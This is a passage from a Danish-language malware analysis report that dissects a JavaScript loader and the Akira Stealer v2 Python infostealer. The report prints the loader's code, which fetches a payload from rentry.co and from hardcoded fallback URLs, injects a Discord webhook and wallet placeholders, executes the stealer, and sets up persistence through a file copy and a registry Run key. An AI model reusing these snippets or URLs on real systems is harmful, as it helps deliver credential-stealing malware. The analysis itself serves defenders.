ondsindet adfærd sætter ind.",[604,3305,3306,3339],{},[607,3307,3308,3311,3312,3315,3316],{},[540,3309,3310],{},"Opslag af den midlertidige mappe:","\nMalwaren kalder ",[551,3313,3314],{},"os.tmpdir()"," for at bestemme stien til systemets midlertidige mappe. Det er en udbredt taktik for malware, fordi midlertidige mapper typisk er skrivbare og bliver gransket mindre nøje af endpoint-beskyttelsessystemer.",[588,3317,3319],{"className":2987,"code":3318,"language":2989,"meta":594,"style":594},"const tempDir = os.tmpdir();\n",[551,3320,3321],{"__ignoreMap":594},[1683,3322,3323,3325,3328,3330,3333,3336],{"class":1685,"line":1686},[1683,3324,2997],{"class":2996},[1683,3326,3327],{"class":2779}," tempDir",[1683,3329,3003],{"class":2996},[1683,3331,3332],{"class":3006}," os.",[1683,3334,3335],{"class":2771},"tmpdir",[1683,3337,3338],{"class":3006},"();\n",[607,3340,3341,3344,3345,3358],{},[540,3342,3343],{},"Opbygning af stier:","\nScriptet opbygger derefter absolutte stier til to vigtige filer:",[604,3346,3347,3352],{},[607,3348,3349,3351],{},[551,3350,2874],{},": Arkivet der indeholder den egentlige Python-baserede stealer i andet trin",[607,3353,3354,3357],{},[551,3355,3356],{},"bnd.exe",": En valgfri eksekverbar fil, der kan fungere som bagdør til persistens eller som yderligere payload",[588,3359,3361],{"className":2987,"code":3360,"language":2989,"meta":594,"style":594},"const tempFile = path.join(tempDir, \"pyth.zip\");\nconst binderFile = path.join(tempDir, \"bnd.exe\");\n",[551,3362,3363,3386],{"__ignoreMap":594},[1683,3364,3365,3367,3370,3372,3375,3378,3381,3384],{"class":1685,"line":1686},[1683,3366,2997],{"class":2996},[1683,3368,3369],{"class":2779}," tempFile",[1683,3371,3003],{"class":2996},[1683,3373,3374],{"class":3006}," path.",[1683,3376,3377],{"class":2771},"join",[1683,3379,3380],{"class":3006},"(tempDir, ",[1683,3382,3383],{"class":2775},"\"pyth.zip\"",[1683,3385,3063],{"class":3006},[1683,3387,3388,3390,3393,3395,3397,3399,3401,3404],{"class":1685,"line":2062},[1683,3389,2997],{"class":2996},[1683,3391,3392],{"class":2779}," binderFile",[1683,3394,3003],{"class":2996},[1683,3396,3374],{"class":3006},[1683,3398,3377],{"class":2771},[1683,3400,3380],{"class":3006},[1683,3402,3403],{"class":2775},"\"bnd.exe\"",[1683,3405,3063],{"class":3006},[533,3407,3408],{},"Denne opsætning af stier abstraherer den operativsystemspecifikke stisyntaks væk og gør, at malwaren kan arbejde uden problemer på ethvert Windows-system. Den lægger samtidig grunden til de mekanismer til download og udpakning af filer, der følger.",[861,3410,3412],{"id":3411},"_622-download-af-payload-med-fallback-strategi","6.2.2 Download af payload med fallback-strategi",[533,3414,867],{},[533,3416,3417],{},"Den anden store fase i den dekrypterede JavaScript-payload handler om at hente et ondsindet ZIP-arkiv fra eksterne kilder. Mekanismen er bygget med en fallback-strategi i flere niveauer, der øger robustheden og tilgængeligheden.",[604,3419,3420,3452,3537,3571],{},[607,3421,3422,3425,3426,3446,3448,3449,3451],{},[540,3423,3424],{},"Primært linkopslag via Rentry.co","\nScriptet begynder med at slå en dynamisk URL op hos en paste-tjeneste. Det sender en GET-forespørgsel til:",[588,3427,3429],{"className":2987,"code":3428,"language":2989,"meta":594,"style":594},"const url = \"https://rentry.co/7vzd22fg36hfdd33/raw\";\n",[551,3430,3431],{"__ignoreMap":594},[1683,3432,3433,3435,3438,3440,3443],{"class":1685,"line":1686},[1683,3434,2997],{"class":2996},[1683,3436,3437],{"class":2779}," url",[1683,3439,3003],{"class":2996},[1683,3441,3442],{"class":2775}," \"https://rentry.co/7vzd22fg36hfdd33/raw\"",[1683,3444,3445],{"class":3006},";\n",[698,3447],{},"Den returnerer en URL-streng i klartekst, som peger på den faktiske placering af arkivet ",[551,3450,2874],{},". At bruge en omdirigeringsmekanisme som denne er en udbredt obfuskeringsteknik. Den skjuler den egentlige ondsindede URL og gør statisk detektion sværere.",[607,3453,3454,3457,3458,3490,3492,3493,3495,3496,3530,3532,3533,3536],{},[540,3455,3456],{},"Gennemførelse af download","\nDen opslåede URL forespørges derefter med Axios-biblioteket og en response stream:",[588,3459,3461],{"className":2987,"code":3460,"language":2989,"meta":594,"style":594},"const fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\n",[551,3462,3463],{"__ignoreMap":594},[1683,3464,3465,3467,3470,3472,3475,3478,3481,3484,3487],{"class":1685,"line":1686},[1683,3466,2997],{"class":2996},[1683,3468,3469],{"class":2779}," fileResponse",[1683,3471,3003],{"class":2996},[1683,3473,3474],{"class":2996}," await",[1683,3476,3477],{"class":3006}," axios.",[1683,3479,3480],{"class":2771},"get",[1683,3482,3483],{"class":3006},"(fileUrl, { responseType: ",[1683,3485,3486],{"class":2775},"\"stream\"",[1683,3488,3489],{"class":3006}," });\n",[698,3491],{},"Filen skrives til disk som ",[551,3494,2874],{}," i systemets temp-mappe:",[588,3497,3499],{"className":2987,"code":3498,"language":2989,"meta":594,"style":594},"const writer = fs.createWriteStream(tempFile);\nfileResponse.data.pipe(writer);\n",[551,3500,3501,3519],{"__ignoreMap":594},[1683,3502,3503,3505,3508,3510,3513,3516],{"class":1685,"line":1686},[1683,3504,2997],{"class":2996},[1683,3506,3507],{"class":2779}," writer",[1683,3509,3003],{"class":2996},[1683,3511,3512],{"class":3006}," fs.",[1683,3514,3515],{"class":2771},"createWriteStream",[1683,3517,3518],{"class":3006},"(tempFile);\n",[1683,3520,3521,3524,3527],{"class":1685,"line":2062},[1683,3522,3523],{"class":3006},"fileResponse.data.",[1683,3525,3526],{"class":2771},"pipe",[1683,3528,3529],{"class":3006},"(writer);\n",[698,3531],{},"Downloaden er pakket ind i en ",[551,3534,3535],{},"Promise"," for at sikre, at den er fuldført, før den videre logik kører.",[607,3538,3539,3542,3543,3568,3570],{},[540,3540,3541],{},"Fallback-URL'er","\nFejler linket fra Rentry, forsøger scriptet med hardkodede reserveplaceringer:",[588,3544,3546],{"className":2987,"code":3545,"language":2989,"meta":594,"style":594},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip\nhttps://cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[551,3547,3548,3559],{"__ignoreMap":594},[1683,3549,3550,3553,3555],{"class":1685,"line":1686},[1683,3551,3552],{"class":2771},"https",[1683,3554,1173],{"class":3006},[1683,3556,3558],{"class":3557},"sJ8bj","//cosmicdust.zip/.well-known/pki-validation/pyth.zip\n",[1683,3560,3561,3563,3565],{"class":1685,"line":2062},[1683,3562,3552],{"class":2771},[1683,3564,1173],{"class":3006},[1683,3566,3567],{"class":3557},"//cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[698,3569],{},"Domænerne er struktureret, så de ser ud som en del af almindelige mapper til TLS-validering, muligvis for at efterligne Let's Encrypt eller stier til domænevalidering og dermed vække mindre mistanke. Hver fallback forsøges med den samme streaming- og filskrivningslogik.",[607,3572,3573,3576,3577,3580],{},[540,3574,3575],{},"Robusthed og obfuskering","\nFallback-mekanismen sikrer, at malwaren har flere veje til at hente sin payload til andet trin. Brugen af en dynamisk pointer (",[551,3578,3579],{},"rentry.co",") og flere failover-spejle gør malwaren mere modstandsdygtig over for takedowns, blokering og DNS-sinkholes.",[533,3582,3583],{},"Fasen viser, at malwarens forfattere har planlagt driften omhyggeligt, med lagdelt redundans og velcamoufleret leveringsinfrastruktur.",[604,3585,3586,3592],{},[607,3587,3588,3589,3591],{},"Henter ",[551,3590,2874],{}," fra den opslåede URL",[607,3593,3594,3595],{},"Fejler det, forsøger den med reservespejle:\n",[604,3596,3597,3602],{},[607,3598,3599],{},[551,3600,3601],{},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip",[607,3603,3604],{},[551,3605,3606],{},"https://cosmoplanets.net/well-known/pki-validation/pyth.zip",[861,3608,3610],{"id":3609},"_623-udpakning-og-manipulation-af-payloaden","6.2.3 Udpakning og manipulation af payloaden",[533,3612,867],{},[533,3614,3615,3616,3618,3619,3621],{},"Når arkivet ",[551,3617,2874],{}," er hentet og gemt på disken, går malwaren videre med at udpakke indholdet og klargøre det til eksekvering. Det sker med Node.js-biblioteket ",[551,3620,2846],{},", der gør det muligt at håndtere ZIP-filer programmatisk.",[604,3623,3624,3672,3699],{},[607,3625,3626,3629,3666,3668,3669,3671],{},[540,3627,3628],{},"Udpakning af ZIP:",[588,3630,3632],{"className":2987,"code":3631,"language":2989,"meta":594,"style":594},"const zip = new AdmZip(tempFile);\nzip.extractAllTo(tempDir, true);\n",[551,3633,3634,3651],{"__ignoreMap":594},[1683,3635,3636,3638,3641,3643,3646,3649],{"class":1685,"line":1686},[1683,3637,2997],{"class":2996},[1683,3639,3640],{"class":2779}," zip",[1683,3642,3003],{"class":2996},[1683,3644,3645],{"class":2996}," new",[1683,3647,3648],{"class":2771}," AdmZip",[1683,3650,3518],{"class":3006},[1683,3652,3653,3656,3659,3661,3664],{"class":1685,"line":2062},[1683,3654,3655],{"class":3006},"zip.",[1683,3657,3658],{"class":2771},"extractAllTo",[1683,3660,3380],{"class":3006},[1683,3662,3663],{"class":2779},"true",[1683,3665,3063],{"class":3006},[698,3667],{},"Det udpakker hele arkivets indhold til systemets midlertidige mappe. Flaget ",[551,3670,3663],{}," sikrer, at eksisterende filer overskrives.",[607,3673,3674,3677,3678,3680,3681],{},[540,3675,3676],{},"Arkivets indhold:","\nArkivet ",[551,3679,2874],{}," indeholder et komplet pakket Python-projekt, heriblandt:",[604,3682,3683,3686,3689],{},[607,3684,3685],{},"En mappestruktur, der ligner en legitim Python-pakke",[607,3687,3688],{},"Flere Python-moduler og afhængigheder",[607,3690,3691,3692,3694,3695,3698],{},"Nøglefilen ",[551,3693,582],{},", der ligger i ",[551,3696,3697],{},"Crypto/Util/astor.py",", og som er den primære stealer-payload",[607,3700,3701,3704,3705,3707,3708,3728],{},[540,3702,3703],{},"Erstatning af pladsholdere:","\nMalwaren udfører en dynamisk udskiftning af foruddefinerede pladsholdere i ",[551,3706,582],{}," for at injicere konfigurationsdata, som angriberen styrer, for eksempel:",[604,3709,3710,3713,3716,3722],{},[607,3711,3712],{},"En Discord webhook-URL",[607,3714,3715],{},"Wallet-adresser til kryptovaluta (BTC, ETH, DOGE, LTC, XMR med flere)",[607,3717,3718,3719,1112],{},"En brugeridentifikator (",[551,3720,3721],{},"%USERID%",[607,3723,3724,3725,1112],{},"Et fejlstatusflag (",[551,3726,3727],{},"%ERRORSTATUS%",[588,3729,3731],{"className":2987,"code":3730,"language":2989,"meta":594,"style":594},"fs.readFile(extractedDir + \"\\Crypto\\Util\\astor.py\", 'utf8', (err, data) => {\n  let updatedFile = data\n    .replace(\"%DISCORD%\", \u003Cwebhook>)\n    .replace(\"%ADDRESSBTC%\", \u003Cbtc_address>)\n    ...\n    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n\n  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n});\n",[551,3732,3733,3794,3807,3830,3840,3845,3850,3855,3861],{"__ignoreMap":594},[1683,3734,3735,3738,3741,3744,3747,3750,3753,3756,3759,3762,3765,3768,3770,3773,3776,3780,3782,3785,3788,3791],{"class":1685,"line":1686},[1683,3736,3737],{"class":3006},"fs.",[1683,3739,3740],{"class":2771},"readFile",[1683,3742,3743],{"class":3006},"(extractedDir ",[1683,3745,3746],{"class":2996},"+",[1683,3748,3749],{"class":2775}," \"",[1683,3751,3752],{"class":2779},"\\C",[1683,3754,3755],{"class":2775},"rypto",[1683,3757,3758],{"class":2779},"\\U",[1683,3760,3761],{"class":2775},"til",[1683,3763,3764],{"class":2779},"\\a",[1683,3766,3767],{"class":2775},"stor.py\"",[1683,3769,620],{"class":3006},[1683,3771,3772],{"class":2775},"'utf8'",[1683,3774,3775],{"class":3006},", (",[1683,3777,3779],{"class":3778},"s4XuR","err",[1683,3781,620],{"class":3006},[1683,3783,3784],{"class":3778},"data",[1683,3786,3787],{"class":3006},") ",[1683,3789,3790],{"class":2996},"=>",[1683,3792,3793],{"class":3006}," {\n",[1683,3795,3796,3799,3802,3804],{"class":1685,"line":2062},[1683,3797,3798],{"class":2996},"  let",[1683,3800,3801],{"class":3006}," updatedFile ",[1683,3803,3164],{"class":2996},[1683,3805,3806],{"class":3006}," data\n",[1683,3808,3809,3812,3815,3817,3820,3823,3827],{"class":1685,"line":2068},[1683,3810,3811],{"class":3006},"    .",[1683,3813,3814],{"class":2771},"replace",[1683,3816,3198],{"class":3006},[1683,3818,3819],{"class":2775},"\"%DISCORD%\"",[1683,3821,3822],{"class":3006},", \u003C",[1683,3824,3826],{"class":3825},"s9eBZ","webhook",[1683,3828,3829],{"class":3006},">)\n",[1683,3831,3832,3835,3838],{"class":1685,"line":2074},[1683,3833,3834],{"class":3006},"    .replace(\"%ADDRESSBTC%\", \u003C",[1683,3836,3837],{"class":2779},"btc_address",[1683,3839,3829],{"class":3006},[1683,3841,3842],{"class":1685,"line":2395},[1683,3843,3844],{"class":3006},"    ...\n",[1683,3846,3847],{"class":1685,"line":2401},[1683,3848,3849],{"class":3006},"    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n",[1683,3851,3852],{"class":1685,"line":3060},[1683,3853,3854],{"emptyLinePlaceholder":325},"\n",[1683,3856,3858],{"class":1685,"line":3857},8,[1683,3859,3860],{"class":3006},"  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n",[1683,3862,3864],{"class":1685,"line":3863},9,[1683,3865,3866],{"class":3006},"});\n",[533,3868,3869],{},"Denne dynamiske manipulationsfase er afgørende. Ved at udskyde indsættelsen af de angriberstyrede værdier til kørselstidspunktet undgår payloaden statisk detektion, og operatøren kan tilpasse mål og eksfiltrerings-endpoints uden at pakke arkivet om.",[604,3871,3872],{},[607,3873,3874,3875,3877,3878],{},"Erstatter pladsholderstrenge i ",[551,3876,582],{},":\n",[604,3879,3880,3886,3896],{},[607,3881,3882,3883],{},"Discord webhook: ",[551,3884,3885],{},"%DISCORD%",[607,3887,3888,3889,620,3892,3895],{},"Wallet-adresser: ",[551,3890,3891],{},"%ADDRESSBTC%",[551,3893,3894],{},"%ADDRESSETH%"," osv.",[607,3897,3898],{},"Bruger-ID og fejlflag",[861,3900,3902],{"id":3901},"_624-eksekvering-af-malwaren","6.2.4 Eksekvering af malwaren",[533,3904,867],{},[604,3906,3907],{},[607,3908,3909,3910],{},"Når injektionen af pladsholdere i astor.py er gennemført, starter malwaren stealeren via et systemkald",[588,3911,3913],{"className":2987,"code":3912,"language":2989,"meta":594,"style":594},"exec(\"python.exe Crypto\\\\Util\\\\astor.py\");\n",[551,3914,3915],{"__ignoreMap":594},[1683,3916,3917,3920,3922,3925,3928,3931,3933,3936],{"class":1685,"line":1686},[1683,3918,3919],{"class":2771},"exec",[1683,3921,3198],{"class":3006},[1683,3923,3924],{"class":2775},"\"python.exe Crypto",[1683,3926,3927],{"class":2779},"\\\\",[1683,3929,3930],{"class":2775},"Util",[1683,3932,3927],{"class":2779},[1683,3934,3935],{"class":2775},"astor.py\"",[1683,3937,3063],{"class":3006},[533,3939,3940],{},"Kommandoen køres med Node.js' funktion child_process.exec og starter den indlejrede Python-payload i en separat proces. Netop dette eksekveringsmønster, python.exe med argumentet Crypto\\Util\\astor.py, blev observeret i de telemetridata, Microsoft Defender for Endpoint indsamlede, og det gør det til en pålidelig detektionsartefakt. I praksis ser eksekveringskæden sådan ud:",[533,3942,3943],{},"Hele malwarens eksekveringskæde, som den blev observeret i telemetrien fra Microsoft Defender for Endpoint, følger denne rækkefølge:",[604,3945,3946,3954,3961,3967],{},[607,3947,3948,3950,3951],{},[551,3949,578],{}," (Electron-baseret container) kalder ",[551,3952,3953],{},"node.exe",[607,3955,3956,3958,3959],{},[551,3957,3953],{}," starter ",[551,3960,1101],{},[607,3962,3963,3958,3965],{},[551,3964,1101],{},[551,3966,553],{},[607,3968,3969,3971,3972],{},[551,3970,553],{}," eksekverer filen ",[551,3973,1111],{},[861,3975,3977],{"id":3976},"_625-forstærkning-af-persistens","6.2.5 Forstærkning af persistens",[533,3979,867],{},[533,3981,3982,3983,3985],{},"For at sikre sig en langvarig tilstedeværelse på det inficerede system indeholder den dekrypterede JavaScript-payload logik til at genetablere persistensen ved at kopiere den oprindelige binærfil (",[551,3984,574],{},") til en skjult placering i brugerens profil.",[533,3987,3988],{},[540,3989,3990],{},"Målmappen",[533,3992,3993],{},"Filen kopieres til en mappe, der efterligner legitime Windows-komponenter:",[588,3995,3997],{"className":2987,"code":3996,"language":2989,"meta":594,"style":594},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[551,3998,3999],{"__ignoreMap":594},[1683,4000,4001,4004,4007,4009],{"class":1685,"line":1686},[1683,4002,4003],{"class":2996},"%",[1683,4005,4006],{"class":2779},"APPDATA",[1683,4008,4003],{"class":2996},[1683,4010,4011],{"class":3006},"\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[533,4013,4014],{},"Placeringen er valgt med omhu:",[604,4016,4017,4020],{},[607,4018,4019],{},"%APPDATA% er skrivbar for almindelige brugere og kræver ingen administratorrettigheder.",[607,4021,4022],{},"Mappenavnet efterligner legitime mapper til Microsoft-applikationer, hvilket gør det mindre mistænkeligt.",[533,4024,4025],{},[540,4026,4027],{},"Kopieringsmekanismen:",[533,4029,4030],{},"Kopieringen bruger Node.js' funktion fs.copyFileSync():",[588,4032,4034],{"className":2987,"code":4033,"language":2989,"meta":594,"style":594},"fs.copyFileSync(\n  process.env.PORTABLE_EXECUTABLE_FILE,\n  path.join(\n    process.env.APPDATA,\n    \"Microsoft\",\n    \"Internet Explorer\",\n    \"UserData\",\n    \"Updater.exe\",\n  ),\n);\n",[551,4035,4036,4045,4055,4064,4073,4080,4087,4094,4101,4106],{"__ignoreMap":594},[1683,4037,4038,4040,4043],{"class":1685,"line":1686},[1683,4039,3737],{"class":3006},[1683,4041,4042],{"class":2771},"copyFileSync",[1683,4044,3013],{"class":3006},[1683,4046,4047,4050,4053],{"class":1685,"line":2062},[1683,4048,4049],{"class":3006},"  process.env.",[1683,4051,4052],{"class":2779},"PORTABLE_EXECUTABLE_FILE",[1683,4054,3043],{"class":3006},[1683,4056,4057,4060,4062],{"class":1685,"line":2068},[1683,4058,4059],{"class":3006},"  path.",[1683,4061,3377],{"class":2771},[1683,4063,3013],{"class":3006},[1683,4065,4066,4069,4071],{"class":1685,"line":2074},[1683,4067,4068],{"class":3006},"    process.env.",[1683,4070,4006],{"class":2779},[1683,4072,3043],{"class":3006},[1683,4074,4075,4078],{"class":1685,"line":2395},[1683,4076,4077],{"class":2775},"    \"Microsoft\"",[1683,4079,3043],{"class":3006},[1683,4081,4082,4085],{"class":1685,"line":2401},[1683,4083,4084],{"class":2775},"    \"Internet Explorer\"",[1683,4086,3043],{"class":3006},[1683,4088,4089,4092],{"class":1685,"line":3060},[1683,4090,4091],{"class":2775},"    \"UserData\"",[1683,4093,3043],{"class":3006},[1683,4095,4096,4099],{"class":1685,"line":3857},[1683,4097,4098],{"class":2775},"    \"Updater.exe\"",[1683,4100,3043],{"class":3006},[1683,4102,4103],{"class":1685,"line":3863},[1683,4104,4105],{"class":3006},"  ),\n",[1683,4107,4109],{"class":1685,"line":4108},10,[1683,4110,3063],{"class":3006},[604,4112,4113,4116],{},[607,4114,4115],{},"PORTABLE_EXECUTABLE_FILE er en miljøvariabel, som mange packers (for eksempel Electron) automatisk sætter for at referere til stien til den kørende binærfil.",[607,4117,4118],{},"path.join(...) opbygger en fuldt kvalificeret destinationssti på tværs af forskellige operativsystemer.",[533,4120,4121],{},"Logikken kører kun, hvis filen ikke allerede er der, og den fungerer dermed som en selvreparationsmekanisme, der genskaber dropperen, hvis den slettes.",[533,4123,4124,4127],{},[540,4125,4126],{},"Rollen i malwarekæden","\nTilstedeværelsen af den kopierede Updater.exe sikrer, at:",[604,4129,4130,4133],{},[607,4131,4132],{},"Loaderen kan udløse sig selv igen på tværs af genstarter af systemet.",[607,4134,4135],{},"Hele infektionskæden (der fører til main.exe, node.exe og til sidst astor.py) kan sætte i gang igen uden at læne sig på traditionelle registry-baserede persistensmekanismer, der er mere sandsynlige at have under overvågning.",[861,4137,4139],{"id":4138},"_626-valgfri-binder-eksekvering","6.2.6 Valgfri binder-eksekvering",[533,4141,867],{},[533,4143,4144,4145,4147],{},"Ud over at hente og køre den primære stealer-payload (",[551,4146,582],{},") indeholder den dekrypterede JavaScript-kode også logik til valgfrit at hente og starte en sekundær eksekverbar fil, kaldet \"binderen\". Komponenten kan bruges til persistens, til at distrahere eller til at udrulle yderligere malwaremoduler.",[533,4149,4150],{},[540,4151,4152],{},"Betinget eksekvering",[533,4154,4155],{},"Binder-logikken aktiveres kun, hvis et bestemt flag er sat:",[588,4157,4159],{"className":2987,"code":4158,"language":2989,"meta":594,"style":594},"enableBinder = true;\n",[551,4160,4161],{"__ignoreMap":594},[1683,4162,4163,4166,4168,4171],{"class":1685,"line":1686},[1683,4164,4165],{"class":3006},"enableBinder ",[1683,4167,3164],{"class":2996},[1683,4169,4170],{"class":2779}," true",[1683,4172,3445],{"class":3006},[533,4174,4175,4176,4179],{},"I den analyserede sample var værdien som standard sat til ",[551,4177,4178],{},"false",", men logikken ligger fortsat indlejret i payloaden og kan uden videre slås til i en anden kampagne eller variant.",[533,4181,4182],{},[540,4183,4184],{},"Logikken bag download af binderen",[533,4186,4187,4188,4191],{},"Aktiveres den, forsøger scriptet at hente en ekstern binærfil fra en URL, som pladsholderen ",[551,4189,4190],{},"%BINDERURL%"," definerer:",[588,4193,4195],{"className":2987,"code":4194,"language":2989,"meta":594,"style":594},"const fileUrl = \"%BINDERURL%\";\nconst fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\nconst writer = fs.createWriteStream(binderFile);\nfileResponse.data.pipe(writer);\n",[551,4196,4197,4211,4231,4246],{"__ignoreMap":594},[1683,4198,4199,4201,4204,4206,4209],{"class":1685,"line":1686},[1683,4200,2997],{"class":2996},[1683,4202,4203],{"class":2779}," fileUrl",[1683,4205,3003],{"class":2996},[1683,4207,4208],{"class":2775}," \"%BINDERURL%\"",[1683,4210,3445],{"class":3006},[1683,4212,4213,4215,4217,4219,4221,4223,4225,4227,4229],{"class":1685,"line":2062},[1683,4214,2997],{"class":2996},[1683,4216,3469],{"class":2779},[1683,4218,3003],{"class":2996},[1683,4220,3474],{"class":2996},[1683,4222,3477],{"class":3006},[1683,4224,3480],{"class":2771},[1683,4226,3483],{"class":3006},[1683,4228,3486],{"class":2775},[1683,4230,3489],{"class":3006},[1683,4232,4233,4235,4237,4239,4241,4243],{"class":1685,"line":2068},[1683,4234,2997],{"class":2996},[1683,4236,3507],{"class":2779},[1683,4238,3003],{"class":2996},[1683,4240,3512],{"class":3006},[1683,4242,3515],{"class":2771},[1683,4244,4245],{"class":3006},"(binderFile);\n",[1683,4247,4248,4250,4252],{"class":1685,"line":2074},[1683,4249,3523],{"class":3006},[1683,4251,3526],{"class":2771},[1683,4253,3529],{"class":3006},[604,4255,4256,4262],{},[607,4257,4258,4259,4261],{},"Filen ",[551,4260,3356],{}," gemmes i systemets midlertidige mappe.",[607,4263,4264,4265,4267],{},"Ligesom ",[551,4266,2874],{}," hentes binærfilen med Axios som en stream, så hele binærfilen ikke skal indlæses i hukommelsen.",[533,4269,4270],{},[540,4271,4272],{},"Eksekveringsstrategi",[533,4274,4275,4276,4278],{},"Efter en gennemført download kalder scriptet den hentede binærfil via ",[551,4277,1101],{},", så den kører i en ny shell-kontekst:",[588,4280,4282],{"className":2987,"code":4281,"language":2989,"meta":594,"style":594},"exec(`start cmd /c start ${binderFile}`, ...);\n",[551,4283,4284],{"__ignoreMap":594},[1683,4285,4286,4288,4290,4293,4296,4299,4301,4304],{"class":1685,"line":1686},[1683,4287,3919],{"class":2771},[1683,4289,3198],{"class":3006},[1683,4291,4292],{"class":2775},"`start cmd /c start ${",[1683,4294,4295],{"class":3006},"binderFile",[1683,4297,4298],{"class":2775},"}`",[1683,4300,620],{"class":3006},[1683,4302,4303],{"class":2996},"...",[1683,4305,3063],{"class":3006},[533,4307,4308],{},"For at øge pålideligheden indeholder scriptet retry-logik:",[588,4310,4312],{"className":2987,"code":4311,"language":2989,"meta":594,"style":594},"setTimeout(() => {\n  exec(...);\n}, 5000);\n",[551,4313,4314,4326,4337],{"__ignoreMap":594},[1683,4315,4316,4319,4322,4324],{"class":1685,"line":1686},[1683,4317,4318],{"class":2771},"setTimeout",[1683,4320,4321],{"class":3006},"(() ",[1683,4323,3790],{"class":2996},[1683,4325,3793],{"class":3006},[1683,4327,4328,4331,4333,4335],{"class":1685,"line":2062},[1683,4329,4330],{"class":2771},"  exec",[1683,4332,3198],{"class":3006},[1683,4334,4303],{"class":2996},[1683,4336,3063],{"class":3006},[1683,4338,4339,4342,4345],{"class":1685,"line":2068},[1683,4340,4341],{"class":3006},"}, ",[1683,4343,4344],{"class":2779},"5000",[1683,4346,3063],{"class":3006},[533,4348,4349],{},"Det sikrer, at malwaren forsøger at starte binærfilen igen efter en kort forsinkelse, også hvis den første eksekvering fejler (for eksempel på grund af systembelastning eller race conditions).",[533,4351,4352],{},[540,4353,4354],{},"Anvendelser af binderen",[533,4356,4357],{},"Det præcise formål med binder-binærfilen fremgår ikke af netop denne sample (på grund af pladsholder-URL'en), men komponenter af den type bruges typisk til at:",[604,4359,4360,4363,4366,4369],{},[607,4361,4362],{},"Geninstallere eller genstarte de primære malwarekomponenter",[607,4364,4365],{},"Vise falske installationsprogrammer eller lokkeapplikationer",[607,4367,4368],{},"Udrulle yderligere spyware, bagdøre eller ransomware",[607,4370,4371],{},"Ændre systemindstillinger eller slå sikkerhedsfunktioner fra",[714,4373,4375],{"id":4374},"_63-sammenfatning","6.3 Sammenfatning",[533,4377,720],{},[533,4379,4380,4382],{},[551,4381,2813],{}," er en kraftigt obfuskeret, krypteret JavaScript-loader, der bruger kryptografi efter branchestandard (PBKDF2 + AES-256-CBC) til at skjule sit egentlige formål. Efter dekrypteringen fungerer den som en fuldt udrustet loader i andet trin, der:",[604,4384,4385,4390,4393,4398],{},[607,4386,4387,4388,1112],{},"Henter yderligere malware (",[551,4389,2874],{},[607,4391,4392],{},"Ændrer payloadens adfærd dynamisk",[607,4394,4395,4396,1112],{},"Starter det egentlige stealer-script (",[551,4397,582],{},[607,4399,4400,4401],{},"Forstærker persistensen ved at genskabe ",[551,4402,574],{},[533,4404,4405,4406,4409],{},"Kombinationen af kryptering, dynamisk eksekvering, modulær hentning af payloads og filløs drift viser en ",[540,4407,4408],{},"yderst avanceret JavaScript-baseret malwarearkitektur",", der udnytter Node.js' muligheder inde i en Electron-shell.",[528,4411,4413,4414,1112],{"id":4412},"_7-deepdive-akira-stealer-v2-astorpy","7. DeepDive: Akira Stealer v2 (",[551,4415,582],{},[533,4417,535],{},[714,4419,4421],{"id":4420},"_71-funktionaliteten-på-overordnet-niveau","7.1. Funktionaliteten på overordnet niveau",[533,4423,720],{},[533,4425,4426,4427,4429],{},"Akira Stealer v2 (",[551,4428,582],{},") er en multifunktionel, modulær infostealer skrevet i Python. Den er bygget til at eksfiltrere en bred vifte af følsomme brugerdata fra både Chromium- og Firefox-baserede browsere, kryptowallets, kommunikationsklienter (for eksempel Discord og Telegram) og systemfiler. Den rummer avancerede anti-analysemekanismer, registry-baseret persistens, clipboard hijacking og teknikker til memory injection.",[714,4431,4433],{"id":4432},"_72-persistens-og-udrulning","7.2 Persistens og udrulning",[533,4435,720],{},[861,4437,4439],{"id":4438},"_721-eksekveringskædens-kontekst","7.2.1 Eksekveringskædens kontekst",[533,4441,867],{},[533,4443,4444,4446],{},[551,4445,582],{}," kører ikke alene, men er den sidste payload i en angrebskæde med flere trin:",[588,4448,4452],{"className":4449,"code":4450,"language":4451,"meta":594,"style":594},"language-plaintext shiki shiki-themes github-light github-dark","Updater.exe\n  └── main.exe (Electron app)\n        └── cmd.exe\n              └── python.exe astor.py\n","plaintext",[551,4453,4454,4459,4464,4469],{"__ignoreMap":594},[1683,4455,4456],{"class":1685,"line":1686},[1683,4457,4458],{},"Updater.exe\n",[1683,4460,4461],{"class":1685,"line":2062},[1683,4462,4463],{},"  └── main.exe (Electron app)\n",[1683,4465,4466],{"class":1685,"line":2068},[1683,4467,4468],{},"        └── cmd.exe\n",[1683,4470,4471],{"class":1685,"line":2074},[1683,4472,4473],{},"              └── python.exe astor.py\n",[533,4475,4476,4477,4479],{},"Den strukturerede eksekveringskæde gør, at hvert trin kan undgå detektion ved at uddelegere den ondsindede funktionalitet til det næste. ",[551,4478,574],{}," sætter forløbet i gang og står for at opretholde persistensen.",[861,4481,4483],{"id":4482},"_722-registry-baseret-persistens","7.2.2 Registry-baseret persistens",[533,4485,867],{},[533,4487,4488,4489,4491],{},"Akira etablerer persistens ved at skrive en registry-nøgle under den aktuelle brugers Run-sti. Det sikrer, at ",[551,4490,574],{}," køres ved hver systemstart:",[588,4493,4497],{"className":4494,"code":4495,"language":4496,"meta":594,"style":594},"language-python shiki shiki-themes github-light github-dark","command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" /f'\nos.system(command)\n","python",[551,4498,4499,4504],{"__ignoreMap":594},[1683,4500,4501],{"class":1685,"line":1686},[1683,4502,4503],{},"command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" 